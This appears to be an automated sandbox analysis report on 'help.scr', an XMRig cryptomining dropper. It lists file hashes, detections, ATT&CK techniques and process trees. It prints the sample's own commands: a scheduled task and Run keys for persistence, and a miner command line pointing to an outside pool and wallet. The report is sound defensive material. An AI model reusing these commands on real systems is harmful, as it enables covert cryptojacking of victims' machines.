xmrig | d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239

General

Target

help.scr
Size

9.0MB
MD5

2d927fdb462570728a981443bf36d19f
SHA1

eb4f351d937729b14a196bf228ba12a2ff07e73e
SHA256

d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239
SHA512

efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9
SSDEEP

196608:rhHMBGC3PtXtT+Was8/wq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G02wuwasMdJOnZKVSaaNZOn

Score

10^/10

xmrig miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1872-11-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-139-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-141-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-142-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-144-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-145-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-146-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-147-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig
behavioral1/memory/1872-148-0x000000013F9C0000-0x0000000140004000-memory.dmp	xmrig

Executes dropped EXE 3 IoCs

Processes:

spreadTpqrst.exeSMB.exehelp.scr

pid process

1872 spreadTpqrst.exe
896 SMB.exe
1396 help.scr
Loads dropped DLL 2 IoCs

Processes:

help.scr

pid process

1948 help.scr
1948 help.scr

pid	process
1872	spreadTpqrst.exe
896	SMB.exe
1396	help.scr

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\ProgramData\spreadTpqrst.exe	upx
behavioral1/memory/1948-9-0x0000000004390000-0x00000000049D4000-memory.dmp	upx
behavioral1/memory/1872-11-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-139-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-141-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-142-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-144-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-145-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-146-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-147-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx
behavioral1/memory/1872-148-0x000000013F9C0000-0x0000000140004000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

help.scr

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\help.scr"	help.scr
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\help.scr"	help.scr

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

help.scrhelp.scr

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN help.scr
File opened (read-only) \??\VBoxMiniRdrDN help.scr
Drops file in Program Files directory 1 IoCs

Processes:

help.scr

description ioc process

File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\web\webbase.xml help.scr

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	help.scr
File opened (read-only)	\??\VBoxMiniRdrDN	help.scr

description	ioc	process
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\web\webbase.xml	help.scr

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

help.scr

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	help.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	help.scr

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2452 schtasks.exe
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command and Scripting Interpreter
T1059

Processes:

ipconfig.exe

pid process

1516 ipconfig.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2212 taskkill.exe

pid	process
2452	schtasks.exe

pid	process
1516	ipconfig.exe

pid	process
2212	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

help.scr

pid	process
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr
1948	help.scr

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

help.scr

pid process

1948 help.scr

Suspicious use of AdjustPrivilegeToken 13 IoCs

Processes:

help.scrtaskkill.exespreadTpqrst.exe

description	pid	process
Token: SeDebugPrivilege	1948	help.scr
Token: SeBackupPrivilege	1948	help.scr
Token: SeSecurityPrivilege	1948	help.scr
Token: SeSecurityPrivilege	1948	help.scr
Token: SeBackupPrivilege	1948	help.scr
Token: SeSecurityPrivilege	1948	help.scr
Token: SeBackupPrivilege	1948	help.scr
Token: SeSecurityPrivilege	1948	help.scr
Token: SeBackupPrivilege	1948	help.scr
Token: SeSecurityPrivilege	1948	help.scr
Token: SeDebugPrivilege	2212	taskkill.exe
Token: SeLockMemoryPrivilege	1872	spreadTpqrst.exe
Token: SeLockMemoryPrivilege	1872	spreadTpqrst.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

help.scrcmd.execmd.execmd.exetaskeng.exe

description	pid	process	target process
PID 1948 wrote to memory of 2188	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2188	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2188	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2188	1948	help.scr	cmd.exe
PID 2188 wrote to memory of 2452	2188	cmd.exe	schtasks.exe
PID 2188 wrote to memory of 2452	2188	cmd.exe	schtasks.exe
PID 2188 wrote to memory of 2452	2188	cmd.exe	schtasks.exe
PID 2188 wrote to memory of 2452	2188	cmd.exe	schtasks.exe
PID 1948 wrote to memory of 2460	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2460	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2460	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2460	1948	help.scr	cmd.exe
PID 2460 wrote to memory of 2212	2460	cmd.exe	taskkill.exe
PID 2460 wrote to memory of 2212	2460	cmd.exe	taskkill.exe
PID 2460 wrote to memory of 2212	2460	cmd.exe	taskkill.exe
PID 2460 wrote to memory of 2212	2460	cmd.exe	taskkill.exe
PID 1948 wrote to memory of 2796	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2796	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2796	1948	help.scr	cmd.exe
PID 1948 wrote to memory of 2796	1948	help.scr	cmd.exe
PID 2796 wrote to memory of 1516	2796	cmd.exe	ipconfig.exe
PID 2796 wrote to memory of 1516	2796	cmd.exe	ipconfig.exe
PID 2796 wrote to memory of 1516	2796	cmd.exe	ipconfig.exe
PID 2796 wrote to memory of 1516	2796	cmd.exe	ipconfig.exe
PID 1948 wrote to memory of 1872	1948	help.scr	spreadTpqrst.exe
PID 1948 wrote to memory of 1872	1948	help.scr	spreadTpqrst.exe
PID 1948 wrote to memory of 1872	1948	help.scr	spreadTpqrst.exe
PID 1948 wrote to memory of 1872	1948	help.scr	spreadTpqrst.exe
PID 1948 wrote to memory of 896	1948	help.scr	SMB.exe
PID 1948 wrote to memory of 896	1948	help.scr	SMB.exe
PID 1948 wrote to memory of 896	1948	help.scr	SMB.exe
PID 1948 wrote to memory of 896	1948	help.scr	SMB.exe
PID 776 wrote to memory of 1396	776	taskeng.exe	help.scr
PID 776 wrote to memory of 1396	776	taskeng.exe	help.scr
PID 776 wrote to memory of 1396	776	taskeng.exe	help.scr
PID 776 wrote to memory of 1396	776	taskeng.exe	help.scr

C:\Users\Admin\AppData\Local\Temp\help.scr
"C:\Users\Admin\AppData\Local\Temp\help.scr" /S
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Program Files directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\help.scr /F
2⤵
- Suspicious use of WriteProcessMemory
PID:2188

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\help.scr /F
3⤵
- Creates scheduled task(s)
PID:2452

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im spreadTpqrst.exe&&exit
2⤵
- Suspicious use of WriteProcessMemory
PID:2460

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im spreadTpqrst.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2212

C:\Windows\SysWOW64\cmd.exe
cmd /c ipconfig /flushdns
2⤵
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\SysWOW64\ipconfig.exe
ipconfig /flushdns
3⤵
- Gathers network information
PID:1516

C:\ProgramData\spreadTpqrst.exe
C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X -a cn/r --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1872

C:\ProgramData\SMB.exe
C:\ProgramData\SMB.exe
2⤵
- Executes dropped EXE
PID:896

C:\Windows\system32\taskeng.exe
taskeng.exe {2F9C7E2B-9FDF-4288-B232-773A02391FC3} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:776

C:\Users\Admin\AppData\Local\Temp\help.scr
C:\Users\Admin\AppData\Local\Temp\help.scr "C:\Users\Admin\AppData\Local\Temp\help.scr"
2⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
PID:1396

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Command and Scripting Interpreter

1

T1059

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\X64.dll
Filesize
85KB

MD5
22b246309e8b68cdb0ff189a9ce5fc21

SHA1
5abbfe241b42006aff18fdda35e9c89962fe40b3

SHA256
5067e218ed8134223d5544bf9fd2a244421b25aa8e7eae20cef325f2ea25e40c

SHA512
bf3ba4378fcd91e34f7e1611eaa7405bf9aa97c28706888ab51bec70142862a2e888051208554cb23959e9e23d7a8733b522413b0d3d3d07224886320aeab57c

Download Submit
C:\ProgramData\X86.dll
Filesize
71KB

MD5
0e980a877a42b3eaa6dfd5f5e5567686

SHA1
3fd0cba11c2cea22ee99d4f76b130892014daed1

SHA256
98fa5a07ad844ba5e6a410ff422ce35fac3e791d16f1603643316f061eee5055

SHA512
33388be213b5c4dd1cd053e290dbf555b2584bc93e8858092b14e17d2b92f7005c2cd785a0a010e0a5b4f31b60ed1e53afae902b4d2817c68c007eed53916d91

Download Submit
C:\Users\Admin\AppData\Local\Temp\help.scr
Filesize
9.0MB

MD5
2d927fdb462570728a981443bf36d19f

SHA1
eb4f351d937729b14a196bf228ba12a2ff07e73e

SHA256
d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239

SHA512
efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9

Download Submit
\ProgramData\SMB.exe
Filesize
3.1MB

MD5
7b2f170698522cd844e0423252ad36c1

SHA1
303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

SHA256
5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

SHA512
7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

Download Submit
\ProgramData\spreadTpqrst.exe
Filesize
1.3MB

MD5
23d84a7ed2e8e76d0a13197b74913654

SHA1
23d04ba674bafbad225243dc81ce7eccd744a35a

SHA256
ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

SHA512
aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

Download Submit
memory/1872-144-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-11-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-139-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-141-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-142-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-10-0x0000000000100000-0x0000000000114000-memory.dmp

Filesize
80KB

Download
memory/1872-145-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-146-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-147-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1872-148-0x000000013F9C0000-0x0000000140004000-memory.dmp

Filesize
6.3MB

Download
memory/1948-140-0x0000000004390000-0x00000000049D4000-memory.dmp

Filesize
6.3MB

Download
memory/1948-9-0x0000000004390000-0x00000000049D4000-memory.dmp

Filesize
6.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads